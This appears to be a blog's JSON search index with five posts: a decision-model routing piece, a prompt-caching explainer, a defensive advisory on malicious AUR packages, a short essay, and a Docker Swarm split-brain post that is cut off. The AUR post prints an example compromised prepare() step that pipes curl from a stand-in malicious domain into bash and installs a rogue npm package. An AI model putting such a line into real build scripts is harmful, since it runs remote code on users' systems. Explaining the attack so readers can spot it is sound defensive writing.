[{"content":"At 2:13 AM, a production alert fires. What should we do now?\nThat means making a few bounded decisions:\nWhich team owns this? Does this require an immediate on-call response? Is there enough confidence to act automatically? Should an incident agent begin investigating? Operational teams have traditionally handled these decisions with humans or deterministic rules. More recently, general-purpose LLMs have become a third option.\nApproach Strength Limitation Human Flexible, context-aware, and good at handling edge cases Slow, expensive, and difficult to scale Deterministic rules Fast, cheap, predictable Brittle when context and exceptions multiply General-purpose LLM Flexible and able to return schema-constrained output A general autoregressive generator is doing a narrow decision task Many teams are now exploring LLMs for these decisions, but inference cost and latency grow with volume.\nAt scale, cost hits the budget and latency hits the SLA. Frontier-model inference is expensive, while reasoning overhead and autoregressive decoding add latency.\nWhen we integrate an LLM into an operational workflow, model latency becomes part of the system\u0026rsquo;s latency budget. Under high alert volume, slow decisions can also create queues and delay time-sensitive actions.\nDoes every routing decision need a model designed to generate text, code, explanations, and plans?\nA Model for Bounded Decisions Diogo Almeida, founder of TypeSafe AI, introduced Jev as the company\u0026rsquo;s first System One Model. TypeSafe says Jev gives up string generation in favor of fast, typed probabilistic decisions that software can consume directly.1\nIts core interface is simple: state plus questions produces typed decisions plus probabilities. The documented state can be a string, JSON object, or array.2 3\nJev takes state and bounded questions, then returns typed decisions with probabilities.\nA useful mental model Jev behaves somewhat like a classifier, but with the broad semantic understanding we normally associate with large language models.\nIt is an analogy, not a claim that Jev is a conventional classifier.\nTypeSafe exposes three decision primitives:3\nType What it returns Example Noul A 0–1 probability that the answer is yes “Does this incident need an immediate response?” Choice A predefined option plus its probability distribution platform, checkout, database, unknown Score A position and distribution across an ordered rubric Severity 0–3 Noul is intentionally spelled that way. It is TypeSafe\u0026rsquo;s primitive for a truth probability between zero and one. Score can also fall between defined levels.3\nWhy this is different Jev is designed around bounded questions. TypeSafe says all questions see the same state and are evaluated independently and in parallel. (State documentation · Parallel Questions cookbook )\nFor an incident, those questions might be:\nWho owns it? How severe is it? Should the system page now? Is it customer-impacting? Should an incident agent start investigating? Jev evaluates five bounded judgments against the same state rather than writing an incident analysis. The model does not generate text that software later converts into decisions; the decisions are the output.\nSystem 1 and System 2 According to TypeSafe\u0026rsquo;s announcement, the name comes from Daniel Kahneman\u0026rsquo;s Thinking, Fast and Slow:\nSystem 1 is fast, automatic, and intuitive. System 2 is slower and deliberate. TypeSafe applies a similar split to AI systems. Jev is for narrow, fast decisions. Larger reasoning models remain better suited to investigation, planning, coding, and explanation.1\nConsider an incident:\nDecision layer Reasoning layer Which team owns this? Why is the service failing? Is it urgent or customer-impacting? What changed before the incident? Should the system escalate? How should we fix it? The first determines what should happen next. The second determines how to solve the problem.\nThe Cost and Speed TypeSafe reports input pricing of $0.042 per million tokens, effectively free outputs, and roughly 70–500 ms end-to-end response times. In its own System One workflow evaluations, the company reports Jev as up to 193.6× faster and 444.6× cheaper than the compared LLM workflows.1\nTypeSafe itself cautions that its 193.6× speed and 444.6× cost improvements are likely toward the high end of real-world gains, so these figures should be read as vendor benchmark results rather than universal Jev-vs-LLM ratios.1\nHow Jev Fits Into an Incident Workflow Take a CloudWatch alarm for checkout 5xx responses. Normalized production telemetry can provide Jev with relevant context for routing and urgency decisions:\n{ \u0026#34;event_type\u0026#34;: \u0026#34;cloudwatch_alarm\u0026#34;, \u0026#34;environment\u0026#34;: \u0026#34;production\u0026#34;, \u0026#34;service\u0026#34;: \u0026#34;checkout-api\u0026#34;, \u0026#34;region\u0026#34;: \u0026#34;ap-southeast-1\u0026#34;, \u0026#34;alarm\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;prod-checkout-high-5xx\u0026#34;, \u0026#34;state\u0026#34;: \u0026#34;ALARM\u0026#34;, \u0026#34;metric\u0026#34;: \u0026#34;HTTPCode_Target_5XX_Count\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;AWS/ApplicationELB\u0026#34;, \u0026#34;threshold\u0026#34;: 50, \u0026#34;current_value\u0026#34;: 137, \u0026#34;period_seconds\u0026#34;: 60, \u0026#34;evaluation_periods\u0026#34;: 2, \u0026#34;breaching_periods\u0026#34;: 2 }, \u0026#34;resource\u0026#34;: { \u0026#34;load_balancer\u0026#34;: \u0026#34;prod-checkout\u0026#34;, \u0026#34;target_group\u0026#34;: \u0026#34;checkout-api\u0026#34; }, \u0026#34;service_health\u0026#34;: { \u0026#34;request_rate_per_minute\u0026#34;: 1840, \u0026#34;http_5xx_rate_percent\u0026#34;: 7.4, \u0026#34;p95_latency_ms\u0026#34;: 2180 }, \u0026#34;recent_change\u0026#34;: { \u0026#34;deployment\u0026#34;: true, \u0026#34;service\u0026#34;: \u0026#34;checkout-api\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;2026.09.17-rc3\u0026#34;, \u0026#34;minutes_ago\u0026#34;: 11 } } Rather than ask a model for an incident narrative, ask bounded questions:\n{ \u0026#34;owner\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;choice\u0026#34;, \u0026#34;instructions\u0026#34;: \u0026#34;Select the team that should own the initial investigation of this production incident.\u0026#34;, \u0026#34;criteria\u0026#34;: { \u0026#34;checkout\u0026#34;: \u0026#34;The evidence primarily points to the checkout application, API, or a recent checkout deployment.\u0026#34;, \u0026#34;platform\u0026#34;: \u0026#34;The evidence primarily points to shared infrastructure, Kubernetes, load balancers, or platform services.\u0026#34;, \u0026#34;database\u0026#34;: \u0026#34;The evidence primarily points to database availability, connectivity, capacity, or query performance.\u0026#34;, \u0026#34;network\u0026#34;: \u0026#34;The evidence primarily points to DNS, network connectivity, routing, or transport failures.\u0026#34;, \u0026#34;unknown\u0026#34;: \u0026#34;The available evidence is insufficient to assign ownership confidently.\u0026#34; } }, \u0026#34;page_now\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;noul\u0026#34;, \u0026#34;instructions\u0026#34;: \u0026#34;Does the available evidence justify paging the on-call engineer immediately rather than waiting for normal triage?\u0026#34; }, \u0026#34;severity\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;score\u0026#34;, \u0026#34;instructions\u0026#34;: \u0026#34;Rate the current production impact based on customer impact, error rate, latency, and duration.\u0026#34;, \u0026#34;criteria\u0026#34;: [ \u0026#34;Informational: abnormal signal with no demonstrated customer impact.\u0026#34;, \u0026#34;Minor: limited degradation with low customer impact.\u0026#34;, \u0026#34;Major: significant production degradation requiring prompt engineering response.\u0026#34;, \u0026#34;Critical: severe customer impact, widespread outage, or immediate business risk.\u0026#34; ] } } Jev Output\nThe following values are illustrative, not results from an actual Jev request. They demonstrate how the documented decision primitives could drive this workflow.\n{ \u0026#34;owner\u0026#34;: { \u0026#34;choice\u0026#34;: \u0026#34;checkout\u0026#34;, \u0026#34;probabilities\u0026#34;: { \u0026#34;checkout\u0026#34;: 0.76, \u0026#34;platform\u0026#34;: 0.17, \u0026#34;database\u0026#34;: 0.03, \u0026#34;network\u0026#34;: 0.01, \u0026#34;unknown\u0026#34;: 0.03 }, \u0026#34;confidence\u0026#34;: 0.76 }, \u0026#34;page_now\u0026#34;: { \u0026#34;noul\u0026#34;: 0.95 }, \u0026#34;severity\u0026#34;: { \u0026#34;score\u0026#34;: 2, \u0026#34;legend\u0026#34;: { \u0026#34;0\u0026#34;: \u0026#34;Informational\u0026#34;, \u0026#34;1\u0026#34;: \u0026#34;Minor\u0026#34;, \u0026#34;2\u0026#34;: \u0026#34;Major\u0026#34;, \u0026#34;3\u0026#34;: \u0026#34;Critical\u0026#34; }, \u0026#34;probabilities\u0026#34;: { \u0026#34;0\u0026#34;: 0.01, \u0026#34;1\u0026#34;: 0.05, \u0026#34;2\u0026#34;: 0.81, \u0026#34;3\u0026#34;: 0.13 }, \u0026#34;confidence\u0026#34;: 0.81 } } The application keeps control of the workflow by setting the action thresholds; TypeSafe documents confidence-gated routing as a pattern for deciding whether to act or escalate.4\nWe can use this structured output to drive the next step:\n# Page the on-call engineer if the alert is very likely to need immediate attention. if response[\u0026#34;page_now\u0026#34;][\u0026#34;noul\u0026#34;] \u0026gt;= 0.90: page_on_call_engineer() owner = response[\u0026#34;owner\u0026#34;] # Auto-assign the incident only when Jev is confident enough about ownership. if owner[\u0026#34;confidence\u0026#34;] \u0026gt;= 0.80: assign_incident(owner[\u0026#34;choice\u0026#34;]) else: # Otherwise, ask a human to confirm the owning team. request_human_triage() severity = response[\u0026#34;severity\u0026#34;] # For major or critical incidents, open an incident and start the investigation agent. if severity[\u0026#34;score\u0026#34;] \u0026gt;= 2: open_incident() start_incident_agent() With the owner confidence of 0.76, the system would page the on-call engineer, open an incident, and start an investigation, but request human confirmation before assigning ownership. Jev returns probabilities with checkout, so the workflow can decide which actions to automate and which decisions to escalate.\nOnly then does it call the LLM.\nJev can route a compact CloudWatch alert into an incident workflow before an agent begins the investigation.\nDecisions First, Agents Second LLMs remain excellent for generation, reasoning, coding, planning, investigation, and conversation.\nA Jev-based decision layer can support classification, routing, scoring, verification, branching, and fast probabilistic decisions.\nThis proposed SRE architecture places Jev before an agent, where it can decide whether an event can be ignored, needs a human, or should start an investigation. The same decision layer can also operate inside an agentic system.\nModel Routing An agentic system continuously makes small routing decisions: which model should handle a task, whether a result needs verification, and whether the confidence is high enough to continue. Today, the main LLM, or another LLM acting as a sub-agent, often makes those decisions.\nThat can mean using a reasoning model to decide which reasoning model to use. A dedicated decision layer provides another option.\nA simple task does not necessarily need the most expensive model available. A difficult or high-risk task might. TypeSafe documents intent routing to deterministic logic, a specialist LLM, or a human; routing to a smaller or frontier reasoning model is a natural extension of that pattern.5\nA decision layer can route work to the least expensive appropriate next step, then escalate complex or uncertain cases.\nThe same pattern applies to tool routing and verification. An agent may need to choose between querying logs, inspecting a deployment, searching documentation, or paging an engineer. It may also need to decide whether an output is safe, relevant, or ready to continue. These are bounded judgments that can escalate uncertain cases to a stronger model or a human.\nThe Hybrid Architecture A decision-first architecture routes routine events away from a reasoning model and escalates only complex cases.\nHard-coded rules are brittle when decisions depend on ambiguous context, and agents add probabilistic behavior plus higher inference cost. Jev adds learned semantic decisions between them, without requiring a full generative reasoning model for every branch.\nIntroducing System One Models \u0026amp; Jev — TypeSafe AI \u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nState — TypeSafe AI documentation \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPrimitives (Questions) — TypeSafe AI documentation \u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConfidence-Gated Routing — TypeSafe AI documentation \u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIntent Routing — TypeSafe AI documentation \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blog.nimendra.online/blog/jev-decision-layer-for-production-ai/","summary":"Production AI should not send every event to a reasoning model. Jev offers a cheap decision layer that can route, score, and escalate work first.","title":"Jev Is the Missing Piece in Production AI Systems"},{"content":"Before the AI era, caching was a system design / backend engineering topic. Most people never needed to know its internals; it was infrastructure trivia for engineers. But today we hit a cache almost every time we run an AI agent or call an LLM API.\nYou\u0026rsquo;ve seen the keywords in provider dashboards and usage logs: cache hit ratio, cached input tokens, cache write. If you\u0026rsquo;re managing a token budget, these numbers decide your bill.\nCache stats dashboard in opencode (https://github.com/nmdra/opencode-cache-stats )\nTraditional Caching Traditional caching is simple to understand: you cache a response based on a request in a fast store like Redis . If the same request comes in again, you return the cached response instead of hitting the database.\nThis is the cache-aside (or lazy loading) pattern: a cache sits between the API and the data source. On a miss, the backend fetches from the source, stores the result, and returns it. On a hit, the backend serves the stored copy with no database query at all.\nOther caching patterns exist too, but this is the most common and simplest.\nCache-aside architecture: the cache sits between the API and the data source; a hit skips the database, a miss fetches, stores, and returns\nTwo properties make this work:\nThe request is a reliable key. The same request maps to the same result. The response is static. The cached answer stays valid until you invalidate it. Eviction policies like LRU and TTL keep the cache bounded, and invalidation keeps stale data from leaking out.\nThe key word here is response. Traditional caching skips the computation and returns a stored answer.\nWhy LLMs Break This Model LLMs are not deterministic. Send the same prompt a dozen times and you get different responses each time, even while the provider\u0026rsquo;s usage report shows cached tokens.\nSo you can\u0026rsquo;t cache the answer. A response cache would serve the same text to every user and every request, which defeats the entire point of a generative model. The output must be computed fresh every time.\nWhat can be cached is the expensive internal state computed before the model generates a single token.\nWhy LLMs break the traditional cache model: responses can\u0026rsquo;t be cached, but the KV cache can\nWhat Actually Gets Cached: The KV Cache To see what providers cache, you need to know how a transformer (introduced in the \u0026ldquo;Attention Is All You Need\u0026rdquo; paper) processes a prompt.\nInside every attention layer, each token\u0026rsquo;s embedding is projected into three vectors:\nQuery (Q): \u0026ldquo;what am I looking for?\u0026rdquo; Key (K): \u0026ldquo;what do I contain / represent?\u0026rdquo; Value (V): \u0026ldquo;what information do I pass along if selected?\u0026rdquo; Library Analogy In the Transformer’s attention mechanism, think of Query (Q) as a researcher walking into a library with a specific search topic in mind (\u0026ldquo;What am I looking for?\u0026rdquo;), Key (K) as the index label printed on the spine of each book (\u0026ldquo;What topic do I represent?\u0026rdquo;), and Value (V) as the actual knowledge written inside those books (\u0026ldquo;What content do I pass along?\u0026rdquo;). The system compares the researcher\u0026rsquo;s query (Q) against every book\u0026rsquo;s spine label (K) and passes the similarity scores through a softmax function to determine the exact percentage of attention each book deserves; it then uses those percentages to read and blend together the actual text (V) from the most relevant books into a single contextual output.\nWhen a new token is generated, the model compares its query against the keys of all previous tokens to score relevance, then blends the corresponding values. That attention computation is the most expensive part of inference.\nA transformer processes a prompt in two broad phases:\nPrefill: reads the input tokens and computes attention state for them. Decode: produces new tokens one at a time. At each attention layer, every processed token produces a key and a value. For the next generated token to attend to everything that came before, those K and V vectors are needed again, so instead of recomputing them, the model retains them in what\u0026rsquo;s called the KV cache.\nThis is a pure speed optimization: it makes generation much faster, and it doesn\u0026rsquo;t change the model\u0026rsquo;s answers at all. The trade-off is memory: the cache grows with your context length, so longer prompts and bigger batches need more GPU/RAM. Providers use various tricks, like compressing the stored values, to keep that memory under control.\nPrompt Caching: Reusing the Prefix When you send a request to an LLM provider, the first pass through the transformer produces K and V tensors for every token in your prompt. That\u0026rsquo;s work the provider had to pay for. Prompt caching keeps that KV state around so a follow-up request that starts with the same prefix can skip it.\nHere\u0026rsquo;s the mental model:\nRequest 1: [system][tools][user][assistant][tool result][user] → prefill computes K and V for every token. Request 2: same prefix plus [new message] → the provider loads the cached K and V for the matching prefix and prefills only the new suffix. The KV cache mental model: Request 1 stores K and V for the whole prefix, Request 2 reuses them and prefills only the new suffix\nProviders hold on to these matrices for a short window after a request (TTL, not forever), typically a few minutes up to an hour, depending on the provider. If a new request starts with the same prompt, even partially, providers reuse the matched portion of the cached K and V rather than recalculating it. Providers also differ in how caching is activated: some cache automatically, others require you to mark cache breakpoints in the request, but the underlying mechanism is the same KV state.\nNote what this is not:\nIt\u0026rsquo;s not your prompt text stored in a database. It\u0026rsquo;s not the answer: the model still generates a fresh response to your actual new input every time. It\u0026rsquo;s not an extension of your context window. Caching only affects compute cost, not how much the model can attend to. Why It Changes Your Bill A cache hit skips the most expensive part of inference, the forward pass over the prefix, so the provider\u0026rsquo;s marginal cost drops to something closer to a memory read than a computation. Pricing reflects that. Most providers bill across four buckets:\nCategory What it means Relative cost Regular input Freshly processed, non-cached tokens 1× (baseline) Cache write First time a prefix is seen; provider computes and stores the KV cache Usually Free Cache read (hit) Prefix matches an existing cache entry; provider just loads it ~0.1× baseline Output tokens Generated tokens, never cached, always computed fresh 1× (output rate) In practice, cached input tokens are billed at a small fraction of the regular rate, often ~0.1× (up to 10× cheaper) on current models, with cache hits also cutting time-to-first-token latency substantially on long prompts (up to 85% in some provider claims).\nCache writes are usually free, but a few providers charge a write premium or hourly storage for explicitly managed caches, so one-off prompts can cost more than uncached requests on those providers.\nThat\u0026rsquo;s why the cache hit ratio you see in dashboards matters: it tells you what fraction of your input tokens actually benefited from the discount.\nGetting Actual Cache Hits Caching is not something you enable and forget; it\u0026rsquo;s something you structure your prompts and agents around:\nStatic content first, dynamic content last. System prompt → tools → docs → conversation → current message. Anything after the first change breaks the cached prefix. Keep prefixes byte-identical across calls. Even whitespace or wording tweaks (\u0026ldquo;a helpful assistant\u0026rdquo; vs. \u0026ldquo;an extremely helpful assistant\u0026rdquo;) create a different cache entry. Don\u0026rsquo;t rebuild system prompts per request. Stabilize them; treat them as append-only where possible. Match your call frequency to the TTL. If your app calls with the same context every 10 minutes but the TTL is 5, you\u0026rsquo;re always paying cache-write rates. Don\u0026rsquo;t cache one-off prompts. Translation requests, single Q\u0026amp;A, anything genuinely unique gets no benefit, and sometimes a net cost increase. Watch what your tools touch. Using many MCPs and tools with your agent also risks breaking the cache, since some edit the context and cause cache invalidation. The biggest wins come from long-lived, mostly-static prefixes reused within the TTL window: agents, coding tools, RAG pipelines, long chats. These workloads repeat huge prefixes on every turn.\nThese trade-offs show up in real tools. In my experience, the Pi agent has a well-designed architecture for keeping a high cache hit ratio, Reasonix is optimized around the DeepSeek API\u0026rsquo;s caching, and the newer DeepSeek Harness delivers noticeably better cache performance.\nSummary Traditional caching Prompt caching Reuses a completed answer Reuses transformer computation (KV state) Skips inference entirely Still generates a fresh response Only works for identical requests Works even if the question differs Implemented via app/database cache Implemented via KV cache LLMs made caching weird again. The cache in your dashboard isn\u0026rsquo;t a database of answers; it\u0026rsquo;s a pool of precomputed attention state, sitting on GPUs for a short window, waiting for your next request to reuse it. Structure your prompts as static-first, reuse them within the TTL, and the cache hit ratio becomes your friend; ignore it, and you\u0026rsquo;re quietly paying extra for nothing.\nReferences: Prompt caching: 10x cheaper LLM tokens, but how? (Sam Rose) · KV Caching Explained (Hugging Face) · Earendil: Prompt Caching · DeepSeek API Context Caching ","permalink":"https://blog.nimendra.online/blog/caching-in-ai-era/","summary":"LLM caching isn\u0026rsquo;t response caching. It\u0026rsquo;s KV state caching: here\u0026rsquo;s how it works, what it costs, and how to structure prompts to actually get hits.","title":"Caching in the AI Era"},{"content":"On June 11, 2026, malicious actors compromised multiple AUR packages by injecting arbitrary shell commands into PKGBUILDs. If you ran yay -Syu that day without reviewing changes, you may have been affected. Here\u0026rsquo;s what happened and how to make sure it doesn\u0026rsquo;t happen again.\nWhat Happened? On June 11, 2026, a coordinated malware campaign was detected targeting multiple user-contributed packages on the Arch Linux AUR (Arch User Repository). The AUR team quickly put out a report thread and started working to reset and delete malicious commits while banning the responsible accounts.1\nCompromised accounts, or malicious contributors who had gained maintainer access, simply pushed updates. Normal-looking package updates. The kind that get auto-applied by thousands of Arch users every day with a quick yay -Syu before breakfast.\nA routine system upgrade — the exact moment a malicious PKGBUILD would execute\nWhat the Attack Actually Did The attack vector was the PKGBUILD file. Malicious commits injected arbitrary bash commands directly into PKGBUILDs. These commands execute during installation, which means the moment you run makepkg -si or let your AUR helper do it for you, the payload fires.\nAnd the payload? The compromised PKGBUILDs downloaded and executed malicious packages, npm dependencies, or scripts completely unrelated to the software being installed.\nWait, What Even Is a PKGBUILD? If you\u0026rsquo;re not deep into Arch-land, here\u0026rsquo;s the short version: a PKGBUILD is a Bash script that tells makepkg how to build and install a package. It defines the source files, checksums, dependencies, and the actual installation steps.\nHere\u0026rsquo;s a clean, legitimate example from pi-coding-agent:\npkgname=pi-coding-agent pkgver=0.79.1 pkgrel=1 pkgdesc=\u0026#39;A terminal-based coding agent with multi-model support, mid-session model switching, and a simple CLI for headless coding tasks\u0026#39; arch=(\u0026#39;x86_64\u0026#39; \u0026#39;aarch64\u0026#39;) url=\u0026#39;https://pi.dev/\u0026#39; license=(\u0026#39;MIT\u0026#39;) options=(!debug !strip) source_x86_64=(\u0026#34;pi-linux-$pkgver.tar.gz::https://github.com/earendil-works/pi/releases/download/v$pkgver/pi-linux-x64.tar.gz\u0026#34;) sha256sums_x86_64=(\u0026#34;dc19d2b24d15c76951fe440a47a8212cedb437a25696ebf27a55481156de9e86\u0026#34;) source_aarch64=(\u0026#34;pi-linux-$pkgver.tar.gz::https://github.com/earendil-works/pi/releases/download/v$pkgver/pi-linux-arm64.tar.gz\u0026#34;) sha256sums_aarch64=(\u0026#34;a191a0c8d57abf1424c560f53981c2a070f74d2863a47a7958eb16c556c4bc04\u0026#34;) noextract=(\u0026#34;pi-linux-$pkgver.tar.gz\u0026#34;) makedepends=(\u0026#34;tar\u0026#34;) package() { mkdir -p \u0026#34;$srcdir/pi-linux-$pkgver\u0026#34; tar xCf \u0026#34;$srcdir/pi-linux-$pkgver\u0026#34; \u0026#34;pi-linux-$pkgver.tar.gz\u0026#34; install -d \u0026#34;$pkgdir/opt\u0026#34; cp -dr --no-preserve=ownership \u0026#34;$srcdir/pi-linux-$pkgver/pi\u0026#34; \u0026#34;$pkgdir/opt/pi-coding-agent\u0026#34; install -d \u0026#34;$pkgdir/usr/bin\u0026#34; ln -s ../../opt/pi-coding-agent/pi \u0026#34;$pkgdir/usr/bin/pi\u0026#34; cd \u0026#34;$pkgdir/opt/pi-coding-agent\u0026#34; install -Dm644 README.md CHANGELOG.md -t \u0026#34;$pkgdir/usr/share/doc/$pkgname\u0026#34; } Notice what it doesn\u0026rsquo;t do: it doesn\u0026rsquo;t curl random scripts, it doesn\u0026rsquo;t pull in sketchy npm packages, and it doesn\u0026rsquo;t run commands unrelated to installing the actual software. That\u0026rsquo;s what a healthy PKGBUILD looks like.\nA compromised one might slip in something like:\nprepare() { curl -s https://some-sketchy-domain.com/payload.sh | bash npm install -g atomic-lockfile } And if you\u0026rsquo;re just blindly running yay -Syu, you\u0026rsquo;d never know.\nHow to Actually Protect Yourself Most Arch users reach for yay or paru as their AUR helper of choice. Both have review features built in, but they\u0026rsquo;re not always enabled by default. The commands below use yay — for paru, replace yay with paru as the flags are identical.\nEnable Review Menus Before your next upgrade, run this:\nyay --editmenu --diffmenu This will:\nShow you the diff (diffmenu) between the old and new PKGBUILD, so you can see exactly what changed. Let you open and inspect the full PKGBUILD (editmenu) before anything gets built. For a full system upgrade with review enabled:\nyay -Syu --editmenu --diffmenu You really want this on all the time. Save it as a permanent default with:\nyay --save --editmenu --diffmenu Inspect Without Installing Want to look at a PKGBUILD before committing to anything? Pull the package repo down without installing — yay -G clones the AUR git repository into a new folder in your current directory:\nyay -G package-name cd package-name less PKGBUILD Or just cat PKGBUILD if you prefer. Either way, nothing gets built or installed.\nWhat to Look For When You Review When you\u0026rsquo;re skimming a PKGBUILD, watch for the following red flags:\nUnexpected curl, wget, or piping anything into bash or sh New dependencies you don\u0026rsquo;t recognize (especially anything npm or pip related) Changes to source=() URLs pointing to unfamiliar domains Suspicious commands buried in prepare(), build(), or package() functions New *.install scripts that weren\u0026rsquo;t there before If You Think You\u0026rsquo;ve Already Been Hit Maybe you ran a system upgrade before you saw this post. Here\u0026rsquo;s how to roll back an AUR package to a known-good version.\nPull the Package History yay -G package-name cd package-name git log --oneline Find a commit before the suspicious change and check it out:\ngit checkout \u0026lt;commit-hash\u0026gt; makepkg -si Or Rebuild from Cache If yay already downloaded and built the package previously, your cache might still have the old sources:\nls ~/.cache/yay/package-name/ If the old tarball is still there, copy it into a working directory and rebuild without pulling anything new from the internet:\ncp ~/.cache/yay/package-name/package-name-\u0026lt;version\u0026gt;.tar.gz . tar xf package-name-\u0026lt;version\u0026gt;.tar.gz cd package-name-\u0026lt;version\u0026gt; makepkg -si Closing Thoughts The AUR\u0026rsquo;s power comes from its community. That same openness is exactly what makes it a target. Reviewing PKGBUILDs isn\u0026rsquo;t paranoia, it\u0026rsquo;s the intended workflow. The AUR has always carried a warning: use at your own risk. Events like this are a reminder that the warning is real.\nThe official AUR report thread with details on affected packages: AUR REPORT THREAD — aur-general mailing list \u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blog.nimendra.online/blog/aur-attack/","summary":"Supply-chain attacks hit the AUR. Here\u0026rsquo;s what happened and how to protect yourself.","title":"Protecting Yourself from Malicious AUR Packages"},{"content":"These days, we prefer summarized content. And it comes in many forms.\nVideos shrink into short clips. Articles get condensed into bullet points. AI digests everything for us before we even ask.\nWe only ever catch the headlines, the major takeaways without any real depth underneath. People resist reading full books and reach instead for shortened versions through platforms like Blinkist. They watch Reels and TikToks to catch the news, avoiding deeply researched articles. We understand the outcome of events, not the background. React fast, share fast, move on.\nI\u0026rsquo;m not sure if there\u0026rsquo;s research out there on the consequences of all this summarization, but I think it\u0026rsquo;s affecting our cognitive ability and attention span.\nOh, and BTW, the above is itself a summarized version of my thoughts.\n","permalink":"https://blog.nimendra.online/blog/the-summarized-world/","summary":"Are we losing depth in the age of short-form content ?","title":"The Summarized World"},{"content":"Split Brain in distributed systems, such as Docker Swarm, occurs when a network partition causes nodes to lose communication with one another.\nThis results in two or more subsets of nodes thinking they are the leader or primary controller of the cluster. This inconsistency can lead to:\nData corruption Conflicting operations Duplicate tasks being executed How it Happens Network Partition: A temporary network failure splits the nodes into two or more isolated groups. Leader Election Conflict: Each isolated group might independently attempt to elect a leader. Independent Decisions: Each group operates as a separate cluster, leading to inconsistent states. In a Docker Swarm cluster: Nodes are classified into managers and workers. Managers coordinate service orchestration and maintain the cluster state. If a partition occurs: Each group of managers may elect its own leader. This results in multiple active leaders (split brain) and service conflicts. Consequences of Split Brain Data Inconsistency: Multiple leaders might make conflicting updates. Duplicate Workloads: Services may be scheduled redundantly. Unrecoverable State: Independent decisions by both partitions can be hard to reconcile. Reduced System Reliability: The system becomes unpredictable or unusable. Prevention Techniques in Docker Swarm Docker Swarm uses the following techniques to avoid split-brain scenarios:\nRaft Consensus Algorithm\nEnsures only one leader exists by requiring majority agreement.\nQuorum Enforcement\nA cluster will only elect a leader and make decisions if the majority (quorum) of manager nodes are reachable.\nNetwork Redundancy\nBy avoiding partitions via redundant network paths, clusters reduce the risk of isolation.\nQuorum Explained 1. Majority Rule A quorum is achieved when more than half of manager nodes agree.\nManagers Quorum (Majority) Fault Tolerance 1 1 0 2 2 0 3 2 1 4 3 1 5 3 2 6 4 2 7 4 3 Example: In a 3-manager node setup, 2 must be online to form a quorum. When a network partition occurs:\nThe partition with quorum (majority) becomes the active cluster. The minority partition becomes inactive or read-only. 2. Leader Election and Heartbeats Manager nodes use heartbeat messages to monitor each other\u0026rsquo;s health. When heartbeats fail, managers assume the leader is down and initiate leader election via Raft. What are heartbeats? A heartbeat in Docker Swarm is a periodic signal sent between manager nodes to detect node failure. This ensures only active, reachable nodes participate in orchestration.\nRules for Leader Election A manager can only become a leader if it has quorum. If quorum is not met, no leader is elected, and the cluster pauses operations. Example Scenarios Scenario 1: 3 Manager Nodes Partition A: 2 nodes → quorum met Partition B: 1 node → no quorum ➡ Partition A remains active; Partition B becomes read-only.\nScenario 2: 4 Manager Nodes Partition A: 2 nodes Partition B: 2 nodes ➡ Neither side has quorum (majority = 3), causing the system to pause orchestration and potentially enter split-brain until resolved.\nSplit-Brain Scenarios on K8s In Kubernetes, the control plane relies on a distributed key-value store called etcd, which stores the entire cluster state—pods, configurations, secrets, and more. To ensure consistency and fault tolerance, etcd uses the Raft consensus algorithm, which helps prevent split-brain scenarios.\n👉 Learn how etcd works ","permalink":"https://blog.nimendra.online/blog/split-brain/","summary":"\u003cp\u003e\u003cstrong\u003eSplit Brain\u003c/strong\u003e in distributed systems, such as Docker Swarm, occurs when a network partition causes nodes to lose communication with one another.\u003c/p\u003e\n\u003cp\u003eThis results in two or more subsets of nodes thinking they are the \u003cstrong\u003eleader\u003c/strong\u003e or \u003cstrong\u003eprimary controller\u003c/strong\u003e of the cluster. This inconsistency can lead to:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eData corruption\u003c/li\u003e\n\u003cli\u003eConflicting operations\u003c/li\u003e\n\u003cli\u003eDuplicate tasks being executed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"how-it-happens\"\u003eHow it Happens\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eNetwork Partition\u003c/strong\u003e: A temporary network failure splits the nodes into two or more isolated groups.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLeader Election Conflict\u003c/strong\u003e: Each isolated group might independently attempt to elect a leader.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIndependent Decisions\u003c/strong\u003e: Each group operates as a separate cluster, leading to inconsistent states.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cblockquote\u003e\n\u003ch3 id=\"in-a-docker-swarm-cluster\"\u003eIn a Docker Swarm cluster:\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNodes are classified into \u003cstrong\u003emanagers\u003c/strong\u003e and \u003cstrong\u003eworkers\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eManagers\u003c/strong\u003e coordinate service orchestration and maintain the cluster state.\u003c/li\u003e\n\u003cli\u003eIf a partition occurs:\n\u003cul\u003e\n\u003cli\u003eEach group of managers may elect its own leader.\u003c/li\u003e\n\u003cli\u003eThis results in multiple active leaders (\u003cstrong\u003esplit brain\u003c/strong\u003e) and \u003cstrong\u003eservice conflicts\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"consequences-of-split-brain\"\u003eConsequences of Split Brain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eData Inconsistency\u003c/strong\u003e: Multiple leaders might make conflicting updates.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDuplicate Workloads\u003c/strong\u003e: Services may be scheduled redundantly.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUnrecoverable 